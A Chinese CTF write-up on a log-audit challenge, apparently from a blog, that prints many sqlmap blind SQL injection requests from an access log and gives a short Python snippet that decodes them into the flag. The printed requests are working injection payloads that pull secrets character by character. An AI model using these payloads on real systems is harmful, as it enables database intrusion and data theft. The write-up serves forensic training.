BMZCTF：日志审计

2024-01-01 03:31
文章标签 日志 审计 bmzctf

本文主要是介绍BMZCTF：日志审计，希望对大家解决编程问题提供一定的参考价值，需要的开发者们随着小编来一起学习吧！ 

http://bmzclub.cn/challenges#%E6%97%A5%E5%BF%97%E5%AE%A1%E8%AE%A1

在这里插入图片描述
logcheck.log
在这里插入图片描述
盲注的日志，将flag.php这块的内容提取出来

192.168.0.1 - - [13/Oct/2018:12:38:14 +0000] "GET /flag.php?user=hence%27%20AND%20ORD%28MID%28%28SELECT%20IFNULL%28CAST%28secret%20AS%20CHAR%29%2C0x20%29%20FROM%20haozi.secrets%20ORDER%20BY%20secret%20LIMIT%200%2C1%29%2C1%2C1%29%29%3D102--%20pZaF HTTP/1.1" 200 327 "-" "sqlmap/1.2#pip (http://sqlmap.org)"
192.168.0.1 - - [13/Oct/2018:12:38:14 +0000] "GET /flag.php?user=hence%27%20AND%20ORD%28MID%28%28SELECT%20IFNULL%28CAST%28secret%20AS%20CHAR%29%2C0x20%29%20FROM%20haozi.secrets%20ORDER%20BY%20secret%20LIMIT%200%2C1%29%2C2%2C1%29%29%3D108--%20pZaF HTTP/1.1" 200 327 "-" "sqlmap/1.2#pip (http://sqlmap.org)"
192.168.0.1 - - [13/Oct/2018:12:38:14 +0000] "GET /flag.php?user=hence%27%20AND%20ORD%28MID%28%28SELECT%20IFNULL%28CAST%28secret%20AS%20CHAR%29%2C0x20%29%20FROM%20haozi.secrets%20ORDER%20BY%20secret%20LIMIT%200%2C1%29%2C3%2C1%29%29%3D97--%20pZaF HTTP/1.1" 200 327 "-" "sqlmap/1.2#pip (http://sqlmap.org)"
192.168.0.1 - - [13/Oct/2018:12:38:14 +0000] "GET /flag.php?user=hence%27%20AND%20ORD%28MID%28%28SELECT%20IFNULL%28CAST%28secret%20AS%20CHAR%29%2C0x20%29%20FROM%20haozi.secrets%20ORDER%20BY%20secret%20LIMIT%200%2C1%29%2C4%2C1%29%29%3D103--%20pZaF HTTP/1.1" 200 327 "-" "sqlmap/1.2#pip (http://sqlmap.org)"
192.168.0.1 - - [13/Oct/2018:12:38:14 +0000] "GET /flag.php?user=hence%27%20AND%20ORD%28MID%28%28SELECT%20IFNULL%28CAST%28secret%20AS%20CHAR%29%2C0x20%29%20FROM%20haozi.secrets%20ORDER%20BY%20secret%20LIMIT%200%2C1%29%2C5%2C1%29%29%3D123--%20pZaF HTTP/1.1" 200 327 "-" "sqlmap/1.2#pip (http://sqlmap.org)"
192.168.0.1 - - [13/Oct/2018:12:38:14 +0000] "GET /flag.php?user=hence%27%20AND%20ORD%28MID%28%28SELECT%20IFNULL%28CAST%28secret%20AS%20CHAR%29%2C0x20%29%20FROM%20haozi.secrets%20ORDER%20BY%20secret%20LIMIT%200%2C1%29%2C6%2C1%29%29%3D109--%20pZaF HTTP/1.1" 200 327 "-" "sqlmap/1.2#pip (http://sqlmap.org)"
192.168.0.1 - - [13/Oct/2018:12:38:14 +0000] "GET /flag.php?user=hence%27%20AND%20ORD%28MID%28%28SELECT%20IFNULL%28CAST%28secret%20AS%20CHAR%29%2C0x20%29%20FROM%20haozi.secrets%20ORDER%20BY%20secret%20LIMIT%200%2C1%29%2C7%2C1%29%29%3D97--%20pZaF HTTP/1.1" 200 327 "-" "sqlmap/1.2#pip (http://sqlmap.org)"
192.168.0.1 - - [13/Oct/2018:12:38:14 +0000] "GET /flag.php?user=hence%27%20AND%20ORD%28MID%28%28SELECT%20IFNULL%28CAST%28secret%20AS%20CHAR%29%2C0x20%29%20FROM%20haozi.secrets%20ORDER%20BY%20secret%20LIMIT%200%2C1%29%2C8%2C1%29%29%3D121--%20pZaF HTTP/1.1" 200 327 "-" "sqlmap/1.2#pip (http://sqlmap.org)"
192.168.0.1 - - [13/Oct/2018:12:38:14 +0000] "GET /flag.php?user=hence%27%20AND%20ORD%28MID%28%28SELECT%20IFNULL%28CAST%28secret%20AS%20CHAR%29%2C0x20%29%20FROM%20haozi.secrets%20ORDER%20BY%20secret%20LIMIT%200%2C1%29%2C9%2C1%29%29%3D105--%20pZaF HTTP/1.1" 200 327 "-" "sqlmap/1.2#pip (http://sqlmap.org)"
192.168.0.1 - - [13/Oct/2018:12:38:14 +0000] "GET /flag.php?user=hence%27%20AND%20ORD%28MID%28%28SELECT%20IFNULL%28CAST%28secret%20AS%20CHAR%29%2C0x20%29%20FROM%20haozi.secrets%20ORDER%20BY%20secret%20LIMIT%200%2C1%29%2C10%2C1%29%29%3D121--%20pZaF HTTP/1.1" 200 327 "-" "sqlmap/1.2#pip (http://sqlmap.org)"
192.168.0.1 - - [13/Oct/2018:12:38:14 +0000] "GET /flag.php?user=hence%27%20AND%20ORD%28MID%28%28SELECT%20IFNULL%28CAST%28secret%20AS%20CHAR%29%2C0x20%29%20FROM%20haozi.secrets%20ORDER%20BY%20secret%20LIMIT%200%2C1%29%2C11%2C1%29%29%3D97--%20pZaF HTTP/1.1" 200 327 "-" "sqlmap/1.2#pip (http://sqlmap.org)"
192.168.0.1 - - [13/Oct/2018:12:38:14 +0000] "GET /flag.php?user=hence%27%20AND%20ORD%28MID%28%28SELECT%20IFNULL%28CAST%28secret%20AS%20CHAR%29%2C0x20%29%20FROM%20haozi.secrets%20ORDER%20BY%20secret%20LIMIT%200%2C1%29%2C12%2C1%29%29%3D104--%20pZaF HTTP/1.1" 200 327 "-" "sqlmap/1.2#pip (http://sqlmap.org)"
192.168.0.1 - - [13/Oct/2018:12:38:14 +0000] "GET /flag.php?user=hence%27%20AND%20ORD%28MID%28%28SELECT%20IFNULL%28CAST%28secret%20AS%20CHAR%29%2C0x20%29%20FROM%20haozi.secrets%20ORDER%20BY%20secret%20LIMIT%200%2C1%29%2C13%2C1%29%29%3D101--%20pZaF HTTP/1.1" 200 327 "-" "sqlmap/1.2#pip (http://sqlmap.org)"
192.168.0.1 - - [13/Oct/2018:12:38:14 +0000] "GET /flag.php?user=hence%27%20AND%20ORD%28MID%28%28SELECT%20IFNULL%28CAST%28secret%20AS%20CHAR%29%2C0x20%29%20FROM%20haozi.secrets%20ORDER%20BY%20secret%20LIMIT%200%2C1%29%2C14%2C1%29%29%3D105--%20pZaF HTTP/1.1" 200 327 "-" "sqlmap/1.2#pip (http://sqlmap.org)"
192.168.0.1 - - [13/Oct/2018:12:38:14 +0000] "GET /flag.php?user=hence%27%20AND%20ORD%28MID%28%28SELECT%20IFNULL%28CAST%28secret%20AS%20CHAR%29%2C0x20%29%20FROM%20haozi.secrets%20ORDER%20BY%20secret%20LIMIT%200%2C1%29%2C15%2C1%29%29%3D49--%20pZaF HTTP/1.1" 200 327 "-" "sqlmap/1.2#pip (http://sqlmap.org)"
192.168.0.1 - - [13/Oct/2018:12:38:14 +0000] "GET /flag.php?user=hence%27%20AND%20ORD%28MID%28%28SELECT%20IFNULL%28CAST%28secret%20AS%20CHAR%29%2C0x20%29%20FROM%20haozi.secrets%20ORDER%20BY%20secret%20LIMIT%200%2C1%29%2C16%2C1%29%29%3D57--%20pZaF HTTP/1.1" 200 327 "-" "sqlmap/1.2#pip (http://sqlmap.org)"
192.168.0.1 - - [13/Oct/2018:12:38:14 +0000] "GET /flag.php?user=hence%27%20AND%20ORD%28MID%28%28SELECT%20IFNULL%28CAST%28secret%20AS%20CHAR%29%2C0x20%29%20FROM%20haozi.secrets%20ORDER%20BY%20secret%20LIMIT%200%2C1%29%2C17%2C1%29%29%3D54--%20pZaF HTTP/1.1" 200 327 "-" "sqlmap/1.2#pip (http://sqlmap.org)"
192.168.0.1 - - [13/Oct/2018:12:38:14 +0000] "GET /flag.php?user=hence%27%20AND%20ORD%28MID%28%28SELECT%20IFNULL%28CAST%28secret%20AS%20CHAR%29%2C0x20%29%20FROM%20haozi.secrets%20ORDER%20BY%20secret%20LIMIT%200%2C1%29%2C18%2C1%29%29%3D53--%20pZaF HTTP/1.1" 200 327 "-" "sqlmap/1.2#pip (http://sqlmap.org)"
192.168.0.1 - - [13/Oct/2018:12:38:14 +0000] "GET /flag.php?user=hence%27%20AND%20ORD%28MID%28%28SELECT%20IFNULL%28CAST%28secret%20AS%20CHAR%29%2C0x20%29%20FROM%20haozi.secrets%20ORDER%20BY%20secret%20LIMIT%200%2C1%29%2C19%2C1%29%29%3D97--%20pZaF HTTP/1.1" 200 327 "-" "sqlmap/1.2#pip (http://sqlmap.org)"
192.168.0.1 - - [13/Oct/2018:12:38:14 +0000] "GET /flag.php?user=hence%27%20AND%20ORD%28MID%28%28SELECT%20IFNULL%28CAST%28secret%20AS%20CHAR%29%2C0x20%29%20FROM%20haozi.secrets%20ORDER%20BY%20secret%20LIMIT%200%2C1%29%2C20%2C1%29%29%3D101--%20pZaF HTTP/1.1" 200 327 "-" "sqlmap/1.2#pip (http://sqlmap.org)"
192.168.0.1 - - [13/Oct/2018:12:38:14 +0000] "GET /flag.php?user=hence%27%20AND%20ORD%28MID%28%28SELECT%20IFNULL%28CAST%28secret%20AS%20CHAR%29%2C0x20%29%20FROM%20haozi.secrets%20ORDER%20BY%20secret%20LIMIT%200%2C1%29%2C21%2C1%29%29%3D55--%20pZaF HTTP/1.1" 200 327 "-" "sqlmap/1.2#pip (http://sqlmap.org)"
192.168.0.1 - - [13/Oct/2018:12:38:14 +0000] "GET /flag.php?user=hence%27%20AND%20ORD%28MID%28%28SELECT%20IFNULL%28CAST%28secret%20AS%20CHAR%29%2C0x20%29%20FROM%20haozi.secrets%20ORDER%20BY%20secret%20LIMIT%200%2C1%29%2C22%2C1%29%29%3D53--%20pZaF HTTP/1.1" 200 327 "-" "sqlmap/1.2#pip (http://sqlmap.org)"
192.168.0.1 - - [13/Oct/2018:12:38:14 +0000] "GET /flag.php?user=hence%27%20AND%20ORD%28MID%28%28SELECT%20IFNULL%28CAST%28secret%20AS%20CHAR%29%2C0x20%29%20FROM%20haozi.secrets%20ORDER%20BY%20secret%20LIMIT%200%2C1%29%2C23%2C1%29%29%3D54--%20pZaF HTTP/1.1" 200 327 "-" "sqlmap/1.2#pip (http://sqlmap.org)"
192.168.0.1 - - [13/Oct/2018:12:38:14 +0000] "GET /flag.php?user=hence%27%20AND%20ORD%28MID%28%28SELECT%20IFNULL%28CAST%28secret%20AS%20CHAR%29%2C0x20%29%20FROM%20haozi.secrets%20ORDER%20BY%20secret%20LIMIT%200%2C1%29%2C24%2C1%29%29%3D57--%20pZaF HTTP/1.1" 200 327 "-" "sqlmap/1.2#pip (http://sqlmap.org)"
192.168.0.1 - - [13/Oct/2018:12:38:14 +0000] "GET /flag.php?user=hence%27%20AND%20ORD%28MID%28%28SELECT%20IFNULL%28CAST%28secret%20AS%20CHAR%29%2C0x20%29%20FROM%20haozi.secrets%20ORDER%20BY%20secret%20LIMIT%200%2C1%29%2C38%2C1%29%29%3D125--%20pZaF HTTP/1.1" 200 327 "-" "sqlmap/1.2#pip (http://sqlmap.org)"

Python处理提取出flag

from urllib.parse import unquotewith open('./data.txt') as f:lines = f.readlines()for line in lines:line = unquote(line)line = line[line.find('))=')+3:line.find('--')]print(chr(int(line)),end="")

在这里插入图片描述

flag{mayiyahei1965ae7569}

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